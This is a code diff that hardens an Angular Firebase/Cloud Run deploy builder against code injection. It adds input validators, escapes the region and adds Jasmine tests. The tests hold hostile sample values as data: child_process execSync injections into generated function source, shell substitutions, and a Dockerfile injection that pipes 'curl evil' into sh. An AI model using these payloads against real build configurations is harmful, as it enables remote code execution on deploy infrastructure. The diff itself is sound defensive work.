diff --git a/src/schematics/deploy/actions.jasmine.ts b/src/schematics/deploy/actions.jasmine.ts index 1795ea10d..d51d17a53 100644 --- a/src/schematics/deploy/actions.jasmine.ts +++ b/src/schematics/deploy/actions.jasmine.ts @@ -1,9 +1,10 @@ /* eslint-disable @typescript-eslint/no-empty-function */ import { join } from 'path'; +import { Script } from 'vm'; import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect'; import { JsonObject, logging } from '@angular-devkit/core'; import { BuildTarget, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces'; -import deploy, { deployToFunction } from './actions.js' +import deploy, { assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, deployToCloudRun, deployToFunction } from './actions.js' import 'jasmine'; let context: BuilderContext; @@ -300,3 +301,115 @@ describe('universal deployment', () => { expect(spy).not.toHaveBeenCalled(); });*/ }); + +describe('deploy codegen input validation (injection hardening)', () => { + describe('assertSafeOutputPath', () => { + ['dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e'].forEach((p) => { + it(`allows the valid outputPath "${p}"`, () => { + expect(assertSafeOutputPath(p, 'proj:server')).toBe(p); + }); + }); + + [`x'); require('child_process').execSync('id'); ('`, 'a`id`', 'a$(id)', 'a;b', 'a\nb', 'a"b', 'a|b'].forEach((p) => { + it(`rejects the unsafe outputPath ${JSON.stringify(p)}`, () => { + expect(() => assertSafeOutputPath(p, 'proj:server')).toThrowError(/Unsafe outputPath/); + }); + }); + }); + + describe('assertSafeNodeVersion', () => { + [undefined, 18, 20, '18', '18.19', '20.11.1'].forEach((v) => { + it(`allows the valid functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v as string | number | undefined)).not.toThrow(); + }); + }); + + ['18-slim\nRUN curl evil | sh', '18 && id', 'latest', '18;id', '$(id)'].forEach((v) => { + it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(v)}`, () => { + expect(() => assertSafeNodeVersion(v)).toThrowError(/Unsafe functionsNodeVersion/); + }); + }); + }); + + describe('assertSafeFunctionName', () => { + [undefined, 'ssr', 'ssrHandler', '_app', '$fn', 'a1'].forEach((n) => { + it(`allows the valid functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n as string | undefined)).not.toThrow(); + }); + }); + + [`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((n) => { + it(`rejects the unsafe functionName ${JSON.stringify(n)}`, () => { + expect(() => assertSafeFunctionName(n)).toThrowError(/Unsafe functionName/); + }); + }); + }); +}); + +// These drive the builders end-to-end so the protection cannot be silently dropped: +// each fails if the corresponding assert call is removed from deployToFunction / +// deployToCloudRun, rather than only exercising the validators in isolation. +describe('deploy codegen hardening is wired into the builders', () => { + beforeEach(() => initMocks()); + + const withServerOutputPath = (outputPath: string) => ((target: Target) => { + if (target.target === 'build') { return { outputPath: 'dist/browser' }; } + if (target.target === 'server') { return { outputPath }; } + return undefined; + }) as unknown as BuilderContext['getTargetOptions']; + + const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`; + + it('deployToFunction rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a server outputPath that starts with a dash', async () => { + context.getTargetOptions = withServerOutputPath('-rf'); + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToFunction rejects a functionName that is not a plain identifier', async () => { + await expectAsync(deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` }, + undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionName/); + }); + + it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => { + const spy = spyOn(fsHost, 'writeFileSync'); + const region = `us-central1'); require('child_process').execSync('id'); ('`; + await deployToFunction( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, region }, undefined, fsHost + ); + const indexJs = spy.calls.argsFor(1)[1] as string; + expect(indexJs).toContain(`.region(${JSON.stringify(region)})`); + // The payload survives only as data inside a string literal: compiling the source + // (without running it) still parses, so nothing broke out of the literal. + expect(() => new Script(indexJs)).not.toThrow(); + }); + + it('deployToCloudRun rejects a hostile server outputPath', async () => { + context.getTargetOptions = withServerOutputPath(EVIL_PATH); + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe outputPath/); + }); + + it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => { + await expectAsync(deployToCloudRun( + firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET, + { preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost + )).toBeRejectedWithError(/Unsafe functionsNodeVersion/); + }); +}); diff --git a/src/schematics/deploy/actions.ts b/src/schematics/deploy/actions.ts index cecf255bf..e5ca796bf 100644 --- a/src/schematics/deploy/actions.ts +++ b/src/schematics/deploy/actions.ts @@ -64,6 +64,45 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record; const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&'); +// A build target's outputPath (from angular.json's architect...options) +// is interpolated raw into generated Cloud Function source (`require('.//main')`) +// and into the generated package.json start script (`node /main.js`), both of which +// are later executed. Reject values carrying quotes, backslashes, newlines or shell +// metacharacters, which could break out of that string literal or command, and reject a +// leading dash, which the start script's `node /main.js` would read as a flag. +export const assertSafeOutputPath = (outputPath: string, targetName: string): string => { + if (/['"`\\\r\n;$&|<>(){}]/.test(outputPath) || outputPath.startsWith('-')) { + throw new SchematicsException( + `Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.` + ); + } + return outputPath; +}; + +// functionName is interpolated raw into the generated Cloud Function source as the +// `exports.` assignment target (functions-templates.ts), which is executed when the +// function loads. Allow only a plain JavaScript identifier so it cannot introduce further +// statements; this also turns a name that would silently produce an unparseable file (for +// example one containing a dash) into an explicit error. +export const assertSafeFunctionName = (functionName: string | undefined): void => { + if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) { + throw new SchematicsException( + `Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.` + ); + } +}; + +// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line +// (`FROM node:-slim`), executed during the Cloud Run container build. Restrict it +// to a plain version so it cannot inject extra Dockerfile instructions. +export const assertSafeNodeVersion = (version: string | number | undefined): void => { + if (version !== undefined && !/^\d+(\.\d+)*$/.test(String(version))) { + throw new SchematicsException( + `Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json.` + ); + } +}; + const moveSync = (src: string, dest: string) => { copySync(src, dest); removeSync(src); @@ -178,6 +217,7 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -185,11 +225,13 @@ export const deployToFunction = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut); + assertSafeFunctionName(options.functionName); const functionName = options.functionName || DEFAULT_FUNCTION_NAME; const newStaticOut = join(functionsOut, staticBuildOptions.outputPath); @@ -297,6 +339,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name); const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name)); if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') { @@ -304,6 +347,7 @@ export const deployToCloudRun = async ( `Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json` ); } + assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name); const staticOut = join(workspaceRoot, staticBuildOptions.outputPath); const serverOut = join(workspaceRoot, serverBuildOptions.outputPath); @@ -336,6 +380,7 @@ export const deployToCloudRun = async ( JSON.stringify(packageJson, null, 2), ); + assertSafeNodeVersion(options.functionsNodeVersion); fsHost.writeFileSync( join(cloudRunOut, 'Dockerfile'), dockerfile(options) diff --git a/src/schematics/deploy/functions-templates.ts b/src/schematics/deploy/functions-templates.ts index 13cd9ab14..2b8e48fd4 100644 --- a/src/schematics/deploy/functions-templates.ts +++ b/src/schematics/deploy/functions-templates.ts @@ -42,7 +42,7 @@ require("firebase-functions/logger/compat"); const expressApp = require('./${path}/main').app(); exports.${functionName || DEFAULT_FUNCTION_NAME} = functions - .region('${options.region || DEFAULT_FUNCTION_REGION}') + .region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)}) .runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)}) .https .onRequest(expressApp); diff --git a/src/schematics/deploy/schema.json b/src/schematics/deploy/schema.json index 6335d3a8d..f7f1ad847 100644 --- a/src/schematics/deploy/schema.json +++ b/src/schematics/deploy/schema.json @@ -51,10 +51,12 @@ }, "functionName": { "type": "string", + "pattern": "^[A-Za-z_$][A-Za-z0-9_$]*$", "description": "The name of the Cloud Function or Cloud Run serviceId to deploy SSR to" }, "functionsNodeVersion": { "oneOf": [{ "type": "number" }, { "type": "string" }], + "pattern": "^\\d+(\\.\\d+)*$", "description": "Version of Node.js to run Cloud Functions / Run on" }, "CF3v2": { @@ -63,6 +65,7 @@ }, "region": { "type": "string", + "pattern": "^[a-z0-9-]+$", "description": "The region to deploy Cloud Functions or Cloud Run to" }, "outputPath": {